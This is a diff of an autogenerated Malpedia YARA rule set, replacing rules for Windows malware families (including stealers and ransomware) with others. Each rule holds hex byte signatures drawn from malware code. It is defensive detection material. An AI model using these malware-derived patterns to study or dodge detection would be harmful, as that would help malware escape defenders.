+		$sequence_5 = { 807c242b00 66894304 7406 66c743064000 c643092f }
+		$sequence_6 = { 66894104 7406 66c741064000 c6410911 }
+		$sequence_7 = { 8b1408 895310 8b54080c 66895314 }
 
 	condition:
-		7 of them and filesize <466944
+		7 of them and filesize <2228224
 }
-rule MALPEDIA_Win_Morto_Auto : FILE
+rule MALPEDIA_Win_Allaple_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b4e2fdf6-28d4-5bb0-a9a0-1ea448c5566e"
+		id = "3189c357-03ca-579b-a008-778eac3a8556"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.morto_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.allaple_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "a9b63fda2800565a4b4486897d85bf042e81c5ab64e52d3f79cf07bf3408f96f"
+		logic_hash = "415071fc213b7748f93f2d59f832b2786979b53afe7fe779d13e0c2bb9460bfe"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175396,34 +182492,34 @@ rule MALPEDIA_Win_Morto_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 280c30 40 3b450c 72f4 8b4608 6a40 }
-		$sequence_1 = { 50 e8???????? 83c40c 8945e4 8d45cc }
-		$sequence_2 = { 03d0 8911 ffd2 5f 5e }
-		$sequence_3 = { 03f5 42 8a1e 46 }
-		$sequence_4 = { ff35???????? c745ec04000000 c745fce8030000 ff15???????? }
-		$sequence_5 = { 8bf0 c1ee08 83e601 8d3c56 }
-		$sequence_6 = { 41 8d441201 8bd0 c1ea08 83e201 a87f 8d3c7a }
-		$sequence_7 = { c745d0636c6965 c745d46e745c61 8945d8 c745dc44726f70 }
-		$sequence_8 = { 6802000080 ff55e0 85c0 755f 8d45f8 50 }
-		$sequence_9 = { 894dfc 895508 eb03 8b75f4 b980000000 33c0 8dbdf0fdffff }
+		$sequence_0 = { 50 ff75a0 e8???????? 83f8ff 756a e8???????? 3d33270000 }
+		$sequence_1 = { 7708 2b7b0c 037b14 eb0f 83c328 83c628 }
+		$sequence_2 = { 6a40 8b55a8 8d4db0 e8???????? 8b55f8 2355f4 8b45f8 }
+		$sequence_3 = { 6a14 ff7508 57 e8???????? 83c714 c70701000000 83c704 }
+		$sequence_4 = { 6800800000 6a00 ff75e0 e8???????? eb09 0bc0 7505 }
+		$sequence_5 = { 55 8bec 83ec24 8955e0 894de4 c745fc00000000 8b45fc }
+		$sequence_6 = { 894174 8b55fc 8b4278 3345f4 8b4df8 894178 8b55fc }
+		$sequence_7 = { 0f8539010000 8145f8bc020000 ff75f8 e8???????? 8945f4 ff75fc ff75f4 }
+		$sequence_8 = { ff45fc 8b45fc 3b4510 7ce5 8be5 5d c3 }
+		$sequence_9 = { 8b4df8 894178 8b55fc 8b427c 3345f4 8b4df8 89417c }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Korlia_Auto : FILE
+rule MALPEDIA_Win_Virlock_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d35af9df-a058-5a30-a77f-8fa81b1625c9"
+		id = "a53ad870-36e8-5483-a3c7-250260a5d06b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.korlia_auto.yar#L1-L481"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virlock"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.virlock_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "17b5ea46685442b751a30de5596fa43f96dfb43c44e790391afede4018d6463a"
+		logic_hash = "2251c81b77f733b642183ccf22ad3a25fb0df2e83278219ff44fcff0baf92b0d"
 		score = 75
-		quality = 50
+		quality = 69
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -175435,75 +182531,32 @@ rule MALPEDIA_Win_Korlia_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 68???????? 51 ffd6 }
-		$sequence_1 = { 6a32 50 ff15???????? 85c0 7521 }
-		$sequence_2 = { 33c0 f2ae f7d1 49 83f90f 7604 }
-		$sequence_3 = { f7ef c1fa14 8bc2 c1e81f 03d0 52 }
-		$sequence_4 = { 8965e8 c645e401 c745fc00000000 52 }
-		$sequence_5 = { 59 5a c745fcffffffff 8a45e4 8b4df0 64890d00000000 5f }
-		$sequence_6 = { 81fb68584d56 0f9445e4 5b 59 5a c745fcffffffff }
-		$sequence_7 = { 7410 6a28 68???????? 6aff 53 6a00 }
-		$sequence_8 = { 6a00 ffd6 68???????? c705????????1c010000 ff15???????? }
-		$sequence_9 = { 6a01 53 53 53 51 ff15???????? 85c0 }
-		$sequence_10 = { 8b442404 56 6a00 6a00 6a01 6a00 }
-		$sequence_11 = { 6a01 6a00 6a00 6800000040 50 ff15???????? 8bf0 }
-		$sequence_12 = { e8???????? 8a4c2404 6a01 884814 8b4c240c 898840200000 }
-		$sequence_13 = { 8b4c240c 898840200000 58 c20800 e9???????? 6800060000 }
-		$sequence_14 = { 8bf0 83feff 7423 8b542410 8b44240c 8d4c2408 }
-		$sequence_15 = { 59 59 c3 8b65e8 ff7588 ff15???????? 833d????????ff }
-		$sequence_16 = { 50 56 ff15???????? 56 ff15???????? b001 5e }
-		$sequence_17 = { ff15???????? 833d????????ff 750c ff742404 ff15???????? }
-		$sequence_18 = { ff742410 ff742410 ff742410 e8???????? c21000 e8???????? 8a4c2404 }
-		$sequence_19 = { 6a00 680030c800 6a00 6a00 }
-		$sequence_20 = { b8447c0000 e8???????? 53 56 }
-		$sequence_21 = { 8d442444 894d00 8b542438 83c504 50 895500 }
-		$sequence_22 = { 6880000000 6800000400 8bce e8???????? }
-		$sequence_23 = { 8bf9 81e7ff000000 03f2 03f7 }
-		$sequence_24 = { ffd6 8d44240c 6804010000 50 }
-		$sequence_25 = { 83c504 50 895500 83c504 e8???????? d1e0 }
-		$sequence_26 = { 6a00 6a00 50 8bce e8???????? 6a00 }
-		$sequence_27 = { 51 ff15???????? a1???????? b981000000 }
-		$sequence_28 = { 750c ff15???????? 53 e9???????? }
-		$sequence_29 = { 0f8599000000 53 56 57 b940000000 }
-		$sequence_30 = { ffd6 eb06 8b35???????? a1???????? 3bc3 7403 50 }
-		$sequence_31 = { 68ff0f1f00 ff15???????? 85c0 740a }
-		$sequence_32 = { 8d542414 6a00 52 68???????? 6a00 ff15???????? }
-		$sequence_33 = { 85c0 740a 56 50 ff15???????? 8bf0 }
-		$sequence_34 = { 33c0 8dbc245e020000 66899c245c020000 f3ab }
-		$sequence_35 = { 7403 50 ffd6 b912010000 33c0 }
-		$sequence_36 = { f3ab aa b9f9000000 33c0 }
-		$sequence_37 = { 56 3bc3 57 740b 8b35???????? 50 }
-		$sequence_38 = { 6801000080 ff15???????? 85c0 0f8599000000 53 }
-		$sequence_39 = { 68???????? 51 ff15???????? 8b54240c 8bf0 }
-		$sequence_40 = { 40 81c408010000 c3 83c8ff }
-		$sequence_41 = { 5e 24fe 5b 40 }
-		$sequence_42 = { 83c9ff 33c0 68003e0000 f2ae f7d1 2bf9 }
-		$sequence_43 = { 50 8b4308 6a02 57 ffd0 85c0 750c }
-		$sequence_44 = { a0???????? 884102 ba???????? 8bf2 8a02 42 }
-		$sequence_45 = { 51 8b0d???????? 8d85c4f0ffff 6a05 6a04 50 }
-		$sequence_46 = { 8bc7 83e03f 6bc830 8b049578c14100 f644082801 7421 57 }
-		$sequence_47 = { 85f6 7439 8d4dd0 68???????? 51 c745d0306e4000 }
-		$sequence_48 = { ff15???????? 85c0 7421 6a3f 8d85fcfeffff }
-		$sequence_49 = { 6a00 ff15???????? 8bf8 85ff 7503 5f 5e }
-		$sequence_50 = { 5d c20c00 ffb5f8efffff 8b35???????? }
-		$sequence_51 = { 51 e8???????? 8d942404030000 68???????? 52 }
-		$sequence_52 = { 50 51 e8???????? 8b742430 83c41c }
+		$sequence_0 = { e8???????? e8???????? ff15???????? 61 3bcb 7532 60 }
+		$sequence_1 = { 9d cde6 81b4e570805c4af32b0cf0 e602 a4 b592 9c }
+		$sequence_2 = { 68???????? eb0a 68???????? 68???????? e8???????? 83fa00 751b }
+		$sequence_3 = { 81f2???????? 81f35e473bfc 81f308f661fc 81f37dc97000 e8???????? bb8aedf4f9 baf2edecff }
+		$sequence_4 = { 45 58 58 46 54 4f 53 }
+		$sequence_5 = { eb07 3106 83c604 ebea 83f901 754a }
+		$sequence_6 = { 42 4b 4e 53 47 4b 56 }
+		$sequence_7 = { 44 56 53 49 4f 45 }
+		$sequence_8 = { 8bf8 90 e9???????? 8807 90 42 90 }
+		$sequence_9 = { bb53203dfd 3106 83c604 bb975ea4f7 ebb5 83f901 }
 
 	condition:
-		7 of them and filesize <263168
+		7 of them and filesize <4202496
 }
-rule MALPEDIA_Win_Mars_Stealer_Auto : FILE
+rule MALPEDIA_Win_Suncrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d22235ef-5968-5e10-be47-3cfb22c5f1b3"
+		id = "93d1d1b0-e368-5e85-941c-a502b4af6a15"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mars_stealer_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.suncrypt_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "b25b9578c7efb2902b746c00b6410a6cd2ad1c64e90ea264af3674a130d6b800"
+		logic_hash = "3fd8ca759efc6a63a6777db0d881129a01860e6b4243db4bd8968c844a421043"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175517,32 +182570,32 @@ rule MALPEDIA_Win_Mars_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33049508674100 894508 8b4d0c 83c101 894d0c 8b550c }
-		$sequence_1 = { 8b5118 52 8b853cfbffff 8b4814 }
-		$sequence_2 = { 898564e6ffff 83bd64e6ffff00 0f8405030000 6a00 }
-		$sequence_3 = { a1???????? 50 8b4d08 51 e8???????? 83c410 6a04 }
-		$sequence_4 = { 8b5508 c1ea08 33148d08674100 895508 8b450c }
-		$sequence_5 = { 52 8d85e8feffff 50 68???????? 8b4df8 51 }
-		$sequence_6 = { 837df820 0f8d61030000 6804010000 8d8de8feffff 51 e8???????? }
-		$sequence_7 = { 2b4d08 c681407c410000 8b550c 8955f8 }
-		$sequence_8 = { 8b953cfbffff 8b4214 83c020 50 6a00 }
-		$sequence_9 = { 52 8b85fcfbffff 50 ff15???????? 89857cdeffff }
+		$sequence_0 = { ff15???????? 6a00 6a00 6a03 6a00 6a00 ff75b8 }
+		$sequence_1 = { 8b8d60ffffff 8945c8 8b856cffffff 8945ac 8b8564ffffff 8945cc 8b855cffffff }
+		$sequence_2 = { c645f84c c645f90e c645fa44 c645fb4c c645fc4c 8a45f4 c645fd00 }
+		$sequence_3 = { 02ca 0fbec0 33c8 884c15ec 42 83fa11 72e8 }
+		$sequence_4 = { 894dd0 034d98 8bf9 337dcc c1c70c 03c7 898534ffffff }
+		$sequence_5 = { c3 8b07 0fb74f0e 8b4004 8b0488 894724 }
+		$sequence_6 = { 8b7308 83c140 8b7da0 894df4 8b4df0 eb7e }
+		$sequence_7 = { 8b45a8 0411 c645be00 83f00a 33d2 8845bd 8a45ac }
+		$sequence_8 = { 660f6dec 660fefd8 660f6ccc 0f28a500feffff 0f1118 83c010 0f1007 }
+		$sequence_9 = { 7324 8d0c10 2bf2 894df0 8b4df8 2bca }
 
 	condition:
-		7 of them and filesize <219136
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Httpbrowser_Auto : FILE
+rule MALPEDIA_Win_Bandit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "86ed1f1e-9c83-5189-8446-3be88e9701cf"
+		id = "4242f486-f361-5c1c-837c-874b9d2592eb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.httpbrowser_auto.yar#L1-L178"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bandit_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5b5149262889d64634c3067408a546cd5b0c2e08f2004303b6cf9132eb7eeb82"
+		logic_hash = "e59306c04a92c7c36290cce1b84004757d2fea7b6a860dd6621dd5fc2300ad60"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175556,38 +182609,32 @@ rule MALPEDIA_Win_Httpbrowser_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff7508 6a00 53 ffd6 8b45fc 33c9 }
-		$sequence_1 = { 50 895de0 ff5604 8945f0 85db 0f8489010000 }
-		$sequence_2 = { 33c5 8945fc 53 56 57 8d859cfeffff 33ff }
-		$sequence_3 = { 8d85f0fdffff 50 8d85d0f5ffff 50 ff15???????? }
-		$sequence_4 = { 56 6a03 6800000040 8d85f4fdffff 50 ff15???????? }
-		$sequence_5 = { e8???????? 83c40c 33c0 56 668985c8f3ffff 8d85caf3ffff }
-		$sequence_6 = { 83c438 ff15???????? 8d85f4fdffff 50 53 57 }
-		$sequence_7 = { ffb5f4edffff 8d85fcfdffff ffb5f8edffff 68???????? 50 }
-		$sequence_8 = { e8???????? 68c20ddf13 56 a3???????? e8???????? 83c438 }
-		$sequence_9 = { 6a00 6810040000 ff15???????? 8bf0 57 6a0e 56 }
-		$sequence_10 = { 83c414 c745ec00000000 68???????? 50 9c b80a000000 51 }
-		$sequence_11 = { b905000000 8db524ffffff 8dbda4feffff 8945e4 }
-		$sequence_12 = { 33c0 8dbd26ffffff 66899524ffffff f3ab 8955e8 8955f8 8955fc }
-		$sequence_13 = { 40 0068ae 224000 50 b822010000 }
-		$sequence_14 = { 8895a0c5ffff f3ab aa b91f000000 33c0 8dbd4affffff 66899548ffffff }
-		$sequence_15 = { 8b15???????? 8945d8 a1???????? 894ddc 668b0d???????? }
+		$sequence_0 = { e8???????? 488d0d9ca6a100 48894820 833d????????00 750b 488b4c2478 48894828 }
+		$sequence_1 = { c3 4889d0 e8???????? 84c0 744e 488b4c2428 488b11 }
+		$sequence_2 = { 83c301 4883c604 4501f1 e8???????? 4139df 75d6 8b742460 }
+		$sequence_3 = { e9???????? 488d5f01 4839da 731d 4889f0 4889d1 bf01000000 }
+		$sequence_4 = { e8???????? 48c7401801000000 488d0d1c9c5e00 48894810 4889c3 488d0530636a00 488b6c2440 }
+		$sequence_5 = { ffd2 4889442438 48895c2440 48894c2448 48897c2450 90 488b7c2430 }
+		$sequence_6 = { c644242701 488b4210 488b5c2428 488b4c2430 488b7c2438 6690 e8???????? }
+		$sequence_7 = { 8894249d000000 0fb654246c 4129d7 4488bc249e000000 0fb6542474 440fb6442425 4429c2 }
+		$sequence_8 = { e8???????? 4889d7 c60700 488d050e9a6b00 e8???????? 488b4c2438 488b542448 }
+		$sequence_9 = { c604085c 49f7d9 49c1f93f 4c8d5101 4d21ca 4e8d0c10 48f7df }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <29914112
 }
-rule MALPEDIA_Win_Micrass_Auto : FILE
+rule MALPEDIA_Win_Bubblewrap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4db1798a-2c39-50c7-84da-46ea64acd353"
+		id = "72aba578-e67d-518b-a6f8-45bcf7609dfd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.micrass"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.micrass_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bubblewrap_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "9dffdea8c321d05076908df0f614e54842a8e7b97f4db09cebeac9dcb66ebdaa"
+		logic_hash = "461e952cc7ab9a2107d029741d486c2b8296d9f39ea5fcdb3208aa0e3f3d47fd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175601,32 +182648,32 @@ rule MALPEDIA_Win_Micrass_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 59 89442424 8d442408 6a50 }
-		$sequence_1 = { 66890c45c4cc4000 40 ebe8 33c0 8945e4 3d01010000 7d0d }
-		$sequence_2 = { 8dbdccfdffff a5 a5 a5 a5 }
-		$sequence_3 = { 6a06 89430c 8d4310 8d8984194000 5a 668b31 }
-		$sequence_4 = { 8d85f8afffff 6a00 50 e8???????? 68???????? 57 e8???????? }
-		$sequence_5 = { 53 8985b83fffff 8d85c03fffff 57 50 89bddc9fffff }
-		$sequence_6 = { 56 b9???????? 8bf2 2bc8 2bf0 8a1401 }
-		$sequence_7 = { 8985e4fbffff 6a05 59 be???????? }
-		$sequence_8 = { 50 c744244801010000 e8???????? 59 50 89442414 }
-		$sequence_9 = { 8bcb e8???????? 59 837e4400 57 bf???????? }
+		$sequence_0 = { 68???????? 68???????? e8???????? 8b08 83c408 890d???????? 8b5004 }
+		$sequence_1 = { ffd6 8d542464 68???????? 52 ffd6 b900020000 }
+		$sequence_2 = { 56 57 6a02 8d442418 33f6 55 50 }
+		$sequence_3 = { 880c1a 83c9ff f2ae f7d1 49 8d7c1a01 8bd1 }
+		$sequence_4 = { 81ec08020000 53 56 57 ff15???????? }
+		$sequence_5 = { f3a5 6870010000 e8???????? 8d442448 50 6870010000 }
+		$sequence_6 = { 8d6ced00 89542418 c1e503 8bc5 8bdd 25ff030000 }
+		$sequence_7 = { 880f 8810 7c89 5d 5f 5e 5b }
+		$sequence_8 = { c644241f78 c644242011 c644242106 c644242274 }
+		$sequence_9 = { 83c404 a801 740d 8d54240c 52 e8???????? 83c404 }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <57136
 }
-rule MALPEDIA_Win_Stegoloader_Auto : FILE
+rule MALPEDIA_Win_Nestegg_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e9d6ede2-9401-5de2-b06b-905a99f741c9"
+		id = "01b2e0f8-b92c-591f-a2fe-591e7cf3b6b4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stegoloader_auto.yar#L1-L174"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nestegg_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "b778718a0682061dce35a7f47c0081e22977d884e10f4fca4ca7c1e5214e1ed2"
+		logic_hash = "d01d8400ee78b6e2d5585ed1b0eb91726b08169614c693b823bb545acd7b28b3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175640,38 +182687,32 @@ rule MALPEDIA_Win_Stegoloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7db 1bdb f7d3 235dfc 3bdf 7409 }
-		$sequence_1 = { 4a 75f0 8a043e 46 84c0 7669 0fb6c0 }
-		$sequence_2 = { 59 eb32 8bc8 837db806 }
-		$sequence_3 = { 59 7422 43 3b5e14 76e2 ff45fc 837dfc02 }
-		$sequence_4 = { 0f84f9010000 c645a443 c645a54d c645a644 }
-		$sequence_5 = { c645e968 c645ea65 c645eb6c c645ec6c c645ed5f c645ee54 c645ef72 }
-		$sequence_6 = { 7415 ff75f4 8bcb ff7604 }
-		$sequence_7 = { 8d0481 8b0438 03c7 3bc6 720e 8b4df0 03ce }
-		$sequence_8 = { ff742414 8bce ff5004 84c0 }
-		$sequence_9 = { 03df 8b03 03c7 33c9 3808 7407 }
-		$sequence_10 = { 8d0448 0fb70438 eb07 662b5e10 0fb7c3 8b4e1c }
-		$sequence_11 = { 83c604 4b 890411 75db eb0a }
-		$sequence_12 = { 33db 56 668945f4 83c002 33f6 3bd3 }
-		$sequence_13 = { 7e68 8b4d0c 8b4508 53 56 57 8b7d10 }
-		$sequence_14 = { 7409 8b01 6a01 ff10 897d0c }
-		$sequence_15 = { 8a4510 f6d8 1bc0 83e004 894510 e8???????? 3bc3 }
+		$sequence_0 = { e8???????? 8d5710 6a02 52 8bce e8???????? }
+		$sequence_1 = { 83c40c 83feff 7417 ffd7 }
+		$sequence_2 = { 8b0d???????? 81c120030000 51 ff15???????? 8b0d???????? 39991c030000 }
+		$sequence_3 = { 83f80e 0f84d8000000 83f80f 7520 8d4c2430 56 }
+		$sequence_4 = { 56 8bf1 89742404 c706???????? 8b8e24030000 c744241000000000 }
+		$sequence_5 = { 85c9 740c 8a09 83e107 8d14c1 89542410 }
+		$sequence_6 = { 8b10 6a10 51 8bc8 885c2458 ff5214 }
+		$sequence_7 = { c644242f6e c644243065 c644243233 884c2433 885c2434 88542435 }
+		$sequence_8 = { c644240d73 884c240e c644240f5f c644241033 }
+		$sequence_9 = { e8???????? 8d4c2410 6a04 51 8bce c7442418ff020001 e8???????? }
 
 	condition:
-		7 of them and filesize <802816
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE
+rule MALPEDIA_Win_Lambert_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "34d54537-0c22-56ee-a952-e063e1672ba8"
+		id = "1c692e32-84a7-5d90-ba02-61a84edfcff0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phoenix_locker_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lambert_auto.yar#L1-L166"
 		license_url = "N/A"
-		logic_hash = "30c99eed67f01ec94c0d1a86e9de20b1f5e3b05899cb4448846bf96ce3ca2f7f"
+		logic_hash = "9e5ed22ba49a751e07cf4ea652d26902b7b8b831105840a55340dbe6f75e09b9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175685,32 +182726,38 @@ rule MALPEDIA_Win_Phoenix_Locker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 480fabc8 48ffc8 4180d05d 488d542420 488b01 66442bc4 }
-		$sequence_1 = { b91d692dbc 4d0f45e7 4533c9 e8???????? 4c8b6c2438 4c8d442440 413bc7 }
-		$sequence_2 = { 6681942400000000c64d 66c18c2400000000d9 66c184240000000074 e8???????? e2ac 1234ca 99 }
-		$sequence_3 = { 4d8d8424b602a3ea 660fbeca 488bcb e9???????? e8???????? 8bd5 498d8c1cb602a3ea }
-		$sequence_4 = { e9???????? ff15???????? 33c9 4180fa13 3bc1 0f8417000000 488b4c2468 }
-		$sequence_5 = { 68d30f1c2f 4881842430000000bd5eeb17 66c1bc245800000025 4159 415f 4159 4159 }
-		$sequence_6 = { 0f8539000000 8d4d39 664181d42122 f9 8d455b 4d63e0 }
-		$sequence_7 = { 68d701373c 48818424080000003feaebff 55 c0e254 5a 5a c3 }
-		$sequence_8 = { e8???????? 4881842418000000aa78f72a 488b7c2428 48c74424281256ce88 68d72a8642 48c1a42400000000ef 689b25ad02 }
-		$sequence_9 = { e8???????? 4155 4151 9c 49b98059c32d64378851 e8???????? 4c0fbbea }
+		$sequence_0 = { 33f2 8b55e8 33ce 33d1 }
+		$sequence_1 = { 4e 8b1f 8919 2bf0 }
+		$sequence_2 = { 3bd8 0f826f010000 8a07 8801 41 47 }
+		$sequence_3 = { 3bd8 0f82a4000000 83fe06 0f822cffffff }
+		$sequence_4 = { 55 8bec 56 8b7510 c1fe04 }
+		$sequence_5 = { 2bc1 3bc7 0f82e5010000 8b4508 2bc2 8d7701 }
+		$sequence_6 = { 33f1 8b4de4 33ce 314de8 }
+		$sequence_7 = { 3b7d10 724d 3bf9 7349 8bc3 2bc1 }
+		$sequence_8 = { 6a00 e8???????? 8945fc 8b45fc 8945f4 8b4df4 8b55f4 }
+		$sequence_9 = { 50 e8???????? 8945e8 8b4de8 3b4d10 750f }
+		$sequence_10 = { 83ec18 8b450c 8b4814 894df0 8b550c 8b4508 }
+		$sequence_11 = { 741f 8b4df8 c1e90d 8b55f8 }
+		$sequence_12 = { ebce 8b45f8 8be5 5d c20400 55 8bec }
+		$sequence_13 = { 8b510c 8b421c 8945f4 8b4df4 894df0 }
+		$sequence_14 = { 3b5118 7334 8b45fc 8b4dec }
+		$sequence_15 = { e8???????? 8945f8 8b4df8 3b4d08 7508 8b55f4 }
 
 	condition:
-		7 of them and filesize <3702784
+		7 of them and filesize <1212416
 }
-rule MALPEDIA_Win_Domino_Auto : FILE
+rule MALPEDIA_Win_Comebacker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eddf3fd4-b67b-5548-8ce8-44ad7e57875e"
+		id = "af10d661-f74a-5650-87c7-273e1e7e9537"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.domino_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.comebacker_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "bd7ff729d0491d94e0d98300cebe034f3949530bba7c0c3abfe7de162ca0ef3c"
+		logic_hash = "4674cd33cc3ed96f3f2fa7f30959d540c5b651afcce920e84c014122f3c7af23"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175724,32 +182771,37 @@ rule MALPEDIA_Win_Domino_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b940000000 488bd8 ff15???????? 4c63c3 }
-		$sequence_1 = { 8bc6 4881c470010000 415f 415e 415d 415c }
-		$sequence_2 = { 41b800300000 488bd6 33c9 4c8bf6 ff15???????? }
-		$sequence_3 = { 498bd0 492bc8 4963c1 4c8d1d622e0000 428a0418 320411 }
-		$sequence_4 = { 7d07 ffc8 83c8f0 ffc0 48ffc2 }
-		$sequence_5 = { 4889742410 57 4883ec20 4863fa 488bf1 4885c9 750e }
-		$sequence_6 = { 488b1a 488bfa 488bf1 8b13 488bce e8???????? }
-		$sequence_7 = { 895c2420 66899c24b0000000 ff15???????? 85c0 741a 488b4c2458 }
-		$sequence_8 = { 7f20 488b0b 4885c9 7406 ff15???????? 48832300 83c8ff }
-		$sequence_9 = { e8???????? 4533c9 448bc7 488bd6 488bcb e8???????? 488b5c2438 }
+		$sequence_0 = { 6683f809 7f04 0430 eb02 }
+		$sequence_1 = { 4c8d0d7ad60300 8d5049 8d48e0 448d4013 c7442420bb020000 e8???????? }
+		$sequence_2 = { 41894704 418bc4 48c1e810 0fb6c8 418bc0 0fb6943170e30400 }
+		$sequence_3 = { 4c8d0dc2a10300 8d5078 8d4803 448d4041 }
+		$sequence_4 = { 4c8d9db0070000 488d8580020000 4c895c2440 89742438 4489742430 }
+		$sequence_5 = { 3241ff 48ffca 88440bff 75ed 488bfe }
+		$sequence_6 = { 4c8d0daf4d0300 baca000000 b910000000 e8???????? 488bcf }
+		$sequence_7 = { 4c89ac2408290300 664489b5a0050000 e8???????? 488d8d92030000 }
